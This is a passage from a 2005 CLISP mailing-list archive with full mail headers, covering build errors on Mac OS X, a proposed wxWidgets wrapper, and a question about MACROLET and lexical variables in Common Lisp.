([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66MSlKS021905; Wed, 6 Jul 2005 18:28:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Will Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507062215.19484.will@misconception.org.uk> (Will Newton's message of "Wed, 6 Jul 2005 22:15:18 +0100") References: <200507061451.14883.will@misconception.org.uk> <200507061953.57300.will@misconception.org.uk> <200507062215.19484.will@misconception.org.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Will Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 15:30:57 2005 X-Original-Date: Wed, 06 Jul 2005 18:28:14 -0400 > * Will Newton [2005-07-06 22:15:18 +0100]: > > On Wednesday 06 July 2005 22:02, Sam Steingold wrote: > >> sorry. >> the appended patch (against the CVS) works for me with this command: >> $ ./configure --build foo/bar/bar > > Works for me. thanks. committed. > Any idea what's causing the special variable test suite failures? cross-test conflicts. should be fixed now. -- Sam Steingold (http://www.podval.org/~sds) running w2k Any connection between your reality and mine is purely coincidental. From dmellis@gmail.com Wed Jul 06 16:12:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqJ4K-0000iB-C4 for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 16:12:40 -0700 Received: from rproxy.gmail.com ([64.233.170.206]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqJ4H-0004Sv-Vq for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 16:12:40 -0700 Received: by rproxy.gmail.com with SMTP id f1so55959rne for ; Wed, 06 Jul 2005 16:12:36 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=CRrodtmPGJx8/WQzQiptmPjyN/oG/PHxLscMmG2UAWEb+iWTPwi+U+0k5iValWuEKGU0qPwzw5zGixCIsCO7c6DtQNUJt0claYzSC9jvj7Jvtn3Qo7oAPmvTZYzPxTlYc0QzNs8VtCBvaEpHeWFjFOwItlp5IZAaFhSxlWWldgo= Received: by 10.38.152.5 with SMTP id z5mr267765rnd; Wed, 06 Jul 2005 16:12:36 -0700 (PDT) Received: by 10.38.9.63 with HTTP; Wed, 6 Jul 2005 16:12:36 -0700 (PDT) Message-ID: From: "David A. Mellis" Reply-To: dam@mellis.org To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] i18n (gettext.c) won't build on Mac OS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 16:14:24 2005 X-Original-Date: Thu, 7 Jul 2005 01:12:36 +0200 I'm trying to build clisp 2.33.84 on Mac OS X 10.4 (Darwin 8.1.0) and getting pages of errors in gettext.c in the i18n module. This happens with the current CVS source and the archive at: http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2%3E Here's an except of the messages: gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -I/sw/include -I.. -c gettext.m.c -o gettext.o In file included from gettext.c:13: ../clisp.h:220: error: parse error before "obj" ../clisp.h: In function 'check_uint_defaulted': ../clisp.h:220: warning: implicit declaration of function 'missingp' ../clisp.h:220: error: 'obj' undeclared (first use in this function) Which makes sense, as line 220 of clisp.h is: static inline unsigned int check_uint_defaulted (object obj, unsigned int defolt) { return missingp(obj) ? defolt : I_to_uint(check_uint(obj)); } and object doesn't seem to defined anywhere. I was building with: ./configure --prefix=3D/usr/local cd src ./makemake --with-dynamic-ffi --prefix=3D/usr/local > Makefile [edited Makefile to build clx/mit-clx and added -I/sw/include and -L/sw/lib lines to CFLAGS and LIBS respectively to use GNU readline from Fink instead of an ancient, incompatible BSD version from Apple] make config.lisp make Any ideas? From sds@gnu.org Wed Jul 06 16:52:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqJh2-0002L3-7V for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 16:52:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqJh0-0002Ed-Va for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 16:52:40 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66NqPtT026538; Wed, 6 Jul 2005 19:52:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, dam@mellis.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (David A. Mellis's message of "Thu, 7 Jul 2005 01:12:36 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, dam@mellis.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: i18n (gettext.c) won't build on Mac OS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 16:53:50 2005 X-Original-Date: Wed, 06 Jul 2005 19:51:51 -0400 > * David A. Mellis [2005-07-07 01:12:36 +0200]: > > gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith > -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. > -I/sw/include -I.. -c gettext.m.c -o gettext.o > In file included from gettext.c:13: > ../clisp.h:220: error: parse error before "obj" > ../clisp.h: In function 'check_uint_defaulted': > ../clisp.h:220: warning: implicit declaration of function 'missingp' > ../clisp.h:220: error: 'obj' undeclared (first use in this function) I do not observe this. > Which makes sense, as line 220 of clisp.h is: > > static inline unsigned int check_uint_defaulted (object obj, unsigned > int defolt) { return missingp(obj) ? defolt : > I_to_uint(check_uint(obj)); } > > and object doesn't seem to defined anywhere. my clisp.h has typedef void * gcv_object_t; typedef gcv_object_t object; #define missingp(obj) (!boundp(obj) || nullp(obj)) can you make your clisp.h available over http? (please do not send it to the list). > I was building with: > ./configure --prefix=/usr/local > cd src > ./makemake --with-dynamic-ffi --prefix=/usr/local > Makefile > [edited Makefile to build clx/mit-clx and added -I/sw/include > and -L/sw/lib lines to CFLAGS and LIBS respectively to use GNU > readline from Fink instead of an ancient, incompatible BSD > version from Apple] > make config.lisp > make please try ./configure --prefix=/usr/local --with-module=clx/mit-clx \ --with-readline-prefix=/sw --build build-dir -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From dmellis@gmail.com Wed Jul 06 17:11:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqJzR-00034z-MX for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 17:11:41 -0700 Received: from rproxy.gmail.com ([64.233.170.192]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqJzQ-0005P2-AY for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 17:11:41 -0700 Received: by rproxy.gmail.com with SMTP id c16so59897rne for ; Wed, 06 Jul 2005 17:11:38 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Y3z9z+OjHoPLHYTT2UQV+9rkN3RM8DtES8Cn5ORGU1Lr7o2mJKfXrtDasD4iqKggZT/xJfsdZ7MHe1Zwd0fzMyE0qd9CCsjgXfdZS2lNpfVdjmAX5C9y1OmlcLR53VxWn7fAPil0zJCSXOWkNYbv3BAUf2gPSxN8wdCA/iwH9ig= Received: by 10.39.1.60 with SMTP id d60mr288229rni; Wed, 06 Jul 2005 17:11:38 -0700 (PDT) Received: by 10.38.9.63 with HTTP; Wed, 6 Jul 2005 17:11:38 -0700 (PDT) Message-ID: From: "David A. Mellis" Reply-To: dam@mellis.org To: clisp-list@lists.sourceforge.net, dam@mellis.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: i18n (gettext.c) won't build on Mac OS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 17:13:30 2005 X-Original-Date: Thu, 7 Jul 2005 02:11:38 +0200 On 7/7/05, Sam Steingold wrote: > my clisp.h has > typedef void * gcv_object_t; > typedef gcv_object_t object; > #define missingp(obj) (!boundp(obj) || nullp(obj)) Mine doesn't. > can you make your clisp.h available over http? http://dam.mellis.org/clisp.h > please try >=20 > ./configure --prefix=3D/usr/local --with-module=3Dclx/mit-clx \ > --with-readline-prefix=3D/sw --build build-dir I get: ./comment5 noreadline.d | ./gctrigger | ./varbrace > noreadline.c ./comment5 lispbibl.d | sed -e '/^#line/n;ta;:a;s/^%% //;tb;s/^.*$//;:b' > gen.lispbibl.c sed: 2: "/^#line/n;ta;:a;s/^%% / ...": undefined label 'a;:a;s/^%% //;tb;s/^.*$//;:b' This happened last time as well, but when I reran make it proceeded beyond that point seemingly without error, though it may have caused problems later without me realizing it. From lisp-clisp-list@m.gmane.org Wed Jul 06 22:50:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqPHP-00049h-Ck for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 22:50:35 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqPHN-00069B-04 for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 22:50:35 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DqPGo-0004bG-D3 for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 07:49:58 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Jul 2005 07:49:58 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Jul 2005 07:49:58 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 34 Message-ID: References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:bnZChIjvTETlZG5XkOaJsOkwfHY= X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 22:51:51 2005 X-Original-Date: Wed, 06 Jul 2005 22:49:19 -0700 André Vargas Abs da Cruz writes: > Changing the subject a bit, does anyone know if is there any work > going on towards writing a kind of wrapper to the wxWidgets library ?! > I can think of a few good reasons to write a 'wxClisp wrapper' > (similar to wxPython): > > - wxWidgets is open-source; > - It's a cross-platform GUI; > - Provides a relative easy way to write a graphical application > It seems wxWidgets doesn't have any C API library, and most of the features are provided by means of a C++ class library. So, until clisp provides ffi support for C++, writing ffi wrappers is ruled out. I think the way to incorporate wxWidgets would be by means of modules. --But, how hard is it? --Does it requires knowledge of substantial clisp internals? Will it be easy to look at the other existing modules, and follow them as an example to provide wxWidgets as a module? --Approximately how long will it take? Currently, I am pondering on these questions, any suggestions are welcome. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From ortmage@gmx.net Wed Jul 06 23:04:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqPV2-0004dN-IG for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 23:04:40 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1-new.sourceforge.net with smtp (Exim 4.44) id 1DqPV1-00023L-3I for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 23:04:40 -0700 Received: (qmail invoked by alias); 07 Jul 2005 06:04:31 -0000 Received: from c-67-173-253-16.hsd1.co.comcast.net (EHLO [192.168.0.100]) [67.173.253.16] by mail.gmx.net (mp013) with SMTP; 07 Jul 2005 08:04:31 +0200 X-Authenticated: #9558537 Message-ID: <42CCC5EC.6080703@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Surendra Singhi CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 23:06:24 2005 X-Original-Date: Thu, 07 Jul 2005 00:04:28 -0600 You can use the C ffi if you happen to know the mangled name of the symbol, assuming you could figure out how C++ lets a function know about (is it a hidden first argument on the stack?). About how many classes and methods are there in wxWindows? Does it require multithreading? I'd be interested in helping out with this project, perhaps we could split the encapsulation (which I assume would be the bulk of the programming). Surendra Singhi wrote: >André Vargas Abs da Cruz writes: > > > >>Changing the subject a bit, does anyone know if is there any work >>going on towards writing a kind of wrapper to the wxWidgets library ?! >>I can think of a few good reasons to write a 'wxClisp wrapper' >>(similar to wxPython): >> >>- wxWidgets is open-source; >>- It's a cross-platform GUI; >>- Provides a relative easy way to write a graphical application >> >> >> >It seems wxWidgets doesn't have any C API library, and most of the features are >provided by means of a C++ class library. So, until clisp provides ffi support >for C++, writing ffi wrappers is ruled out. > >I think the way to incorporate wxWidgets would be by means of modules. > >--But, how hard is it? >--Does it requires knowledge of substantial clisp internals? Will it be easy >to look at the other existing modules, and follow them as an example to >provide wxWidgets as a module? >--Approximately how long will it take? > >Currently, I am pondering on these questions, any suggestions are welcome. > > > > From kavenchuk@jenty.by Thu Jul 07 04:27:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqUXk-00034K-6I for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 04:27:48 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqUXI-0007Em-OJ for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 04:27:48 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA27NZ; Thu, 7 Jul 2005 14:30:44 +0300 Message-ID: <42CD11D5.9060805@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] temporary macro Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 04:28:38 2005 X-Original-Date: Thu, 07 Jul 2005 14:28:21 +0300 clisp from CVS head, mingw Small example: (defmacro m2 (x &optional (y 0)) `(print (format nil "first number ~A; last number ~A" ,x ,y))) (defun f1 (l) (loop for e in l collect (IF (consp e) (cons 'm2 e) (list 'm2 e)))) (defun f2 (l) (defmacro tmp-m1 nil (cons 'progn (f1 l))) (tmp-m1)) CL-USER> (f2 '(5 6 (7 8) (9 34))) "first number 5; last number 0" "first number 6; last number 0" "first number 7; last number 8" "first number 9; last number 34" "first number 9; last number 34" but with (macrolet...): (defun f2 (l) (macrolet ((tmp-m1 nil (cons 'progn (f1 l)))) (tmp-m1))) *** - Invalid access to the value of the lexical variable L from within a MACROLET definition The following restarts are available: ABORT :R1 ABORT Break 1 [144]> It is possible? How? Thanks. -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Thu Jul 07 05:17:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqVKB-0005lu-80 for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 05:17:51 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqVKA-0003PJ-M6 for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 05:17:51 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 7 Jul 2005 14:17:54 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <3HNS00LF>; Thu, 7 Jul 2005 14:17:05 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304DEA44A@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: [clisp-list] temporary macro MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 05:19:33 2005 X-Original-Date: Thu, 7 Jul 2005 14:16:59 +0200 Yaroslav Kavenchuk wrote: >(defun f2 (l) > (macrolet ((tmp-m1 nil (cons 'progn (f1 l)))) (tmp-m1))) >*** - Invalid access to the value of the lexical variable L from within >a MACROLET definition The error is correct and I'm thankful CLISP now checks for this. Some month ago, I had a case where clisp silently failed and/or silently generated broken code. See how your macrolet expander wants to evaluate (f1 l), where l originates from the lexical environment. This is forbidden under ANSI-CL. What you would like to achieve is >(f2 '(5 6 (7 8) (9 34))) >"first number 5; last number 0" >"first number 6; last number 0" >"first number 7; last number 8" >"first number 9; last number 34" >"first number 9; last number 34" For that you'll have to pass the list itself to the macro, so the macro can "transform" that list into a list of lists of the form (PRINT (FORMAT NIL ...)), which you can abbreviate using (FORMAT T "...~%" ...). Typical macro advice is to write this transformation as a function first, then embed it into macrolet. But then your requirement is still not achievable under compilation. To compile, you must know/compute what to generate. But f2 is a function, with args a priori known only at run-time. How do you expect to create code before that time? So the next step would be to turn F2 into a macro, but maybe you should tell us more about what you are actually trying to achieve? >(defun f2 (l) > (defmacro tmp-m1 ... > (tmp-m1)) Defining a global macro inside a function is likely an indication of something wrong. Regards, Jorg Hohle. From kavenchuk@jenty.by Thu Jul 07 05:45:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqVlL-0007MX-Mv for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 05:45:55 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqVlJ-0001Ze-Bq for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 05:45:55 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA27TN; Thu, 7 Jul 2005 15:49:24 +0300 Message-ID: <42CD2443.6010505@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] temporary macro References: <5F9130612D07074EB0A0CE7E69FD7A0304DEA44A@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0304DEA44A@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 05:47:22 2005 X-Original-Date: Thu, 07 Jul 2005 15:46:59 +0300 Hoehle, Joerg-Cyril wrote: > So the next step would be to turn F2 into a macro, but maybe you should > tell us more about what you are actually trying to achieve? > Many thanks for your answer. It has helped introduce order in my head. Apparently, I wanted macro as first class object... :) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Jul 07 08:10:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqY0x-0007BS-AQ for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 08:10:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] 